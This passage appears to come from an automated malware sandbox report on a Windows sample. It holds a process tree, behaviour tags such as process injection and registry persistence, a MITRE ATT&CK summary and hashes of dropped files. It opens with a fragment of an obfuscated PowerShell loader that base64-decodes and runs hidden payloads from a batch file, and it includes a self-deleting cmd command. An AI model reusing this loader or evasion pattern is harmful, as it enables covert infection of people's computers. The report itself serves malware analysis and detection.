'')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat').Split([Environment]::NewLine);foreach ($faxqr in $ZxJef) { if ($faxqr.StartsWith('SEROXEN')) { $MyVZJ=$faxqr.Substring(7); break; }}$tSYrU=[string[]]$MyVZJ.Split('\');$WdICd=WmmYx (fVoxT ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tSYrU[0])));$eFigo=WmmYx (fVoxT ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tSYrU[1])));AHAKZ $eFigo (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));AHAKZ $WdICd (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1188 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{d890746e-e867-4bee-81f5-eb20ba369a45}5⤵PID:5016
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{3788f5bb-845c-4a21-9dae-f646547a5646}5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2444
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{58aee214-39c1-47c4-931a-ceeab4bcb393}5⤵PID:5236
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe" & exit5⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:3412 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:5308
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C:\Windows\system32\PING.EXEPING localhost -n 86⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2016
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C:\Windows\system32\taskkill.exetaskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe"6⤵
- Kills process with taskkill
PID:1388
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C:\Windows\system32\attrib.exeATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe"6⤵
- Views/modifies file attributes
PID:5224
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3548
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3756
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3916
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3544
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4844
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:860
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4732
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2184
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2152
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2092
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2728
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4592
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:4800
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4452
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:2792
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:2156
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:4908
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:1176
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵PID:2392
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵PID:4692
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:5936 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5636 -ip 56362⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- System Location Discovery: System Language Discovery
PID:2428
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 636 -p 5792 -ip 57922⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5292
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
2Hidden Files and Directories
1Hidden Window
1Modify Registry
1Replay Monitor
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Downloads
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Filesize
42KB
MD5912930d8881b21e5e82fc75ae178ec8e
SHA1ff71267d17537cd311b761d558badfa12a5e6ee3
SHA256eb8a831f05706ba9c1055f52eac62572b2519f5f290f484bbc9fc927d9ca36f8
SHA5123e5ffc69f02b5e0d7bd87cb19a3f04f2eb569755140925558fc447ae2a12dde3b6123c4c5fc6ba9b4d437c5c2f71c39668bc2d90d3d62514e6eca444ed651ae4
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Filesize
13KB
MD51230b87939de42f593775ce7f7f2f684
SHA16c1a09995c0d1d755793525f5aa8202327bb28b6
SHA256335ab573292b4d5bef90592f30f1bd8eaa245a9a55b765408c27a629a46d919e
SHA51274e16e42f6044e423d29a4d602401c7e48e3cf44802c0983e4d163f64ac396ec45fe64d110e3c2e7c0f7d41c70da433a183b2ad7492538597f70b5ab585986b5
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Filesize
41KB
MD525ffa9c8b7be57d4aad23583fcf16343
SHA14e77d02d6e6c966fcfb036c93e68040a6e30dcf0
SHA256c5e2e501ca86ba880390c808c6aa5f07baa7872be40e2278ffe4b9697b42da26
SHA512d063d6a175d9ae35d04c244952e17b927141d7c90310d4600abae6c7251df18ed0cfdebfd16ab089728094ded9961b87e6685e581f33f008d49f6aebd0f30b6f
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Filesize
13KB
MD5322e34fce0075447d054088dfdf51894
SHA120815952cae04de12ded06426e0f4351721a4062
SHA256103e73328688ccae4f8235ab7d3300fb41d6ad6a1ec9ca3c2d199f0d1ec2ae4b
SHA512fa672a276712ee6722375ce43823f82d97a87fea5fe2004bf49ae0e5e993593f4876715bec37cd4aa0c65b9e4657aec7b4062c7df6d40c48f5db6f89e0bbebeb
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Filesize
12.5MB
MD5a4f9a8d05619cb7bcd36de94cce00098
SHA1fd23538b08c68e5b1229fb6cff001153842ebdad
SHA2566db8ff4761350cce286a0d448258b05bf0575c3a751b5a4efb6957ef691e167b
SHA5120ec6e105196b4ad72085b5e0a515620aabb7167a3932fcc0500ac34e184cabbf24a03242a7cbf66937e043ddd467aa5aa1cbe24a01f57a80b83376057805a809
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
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Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045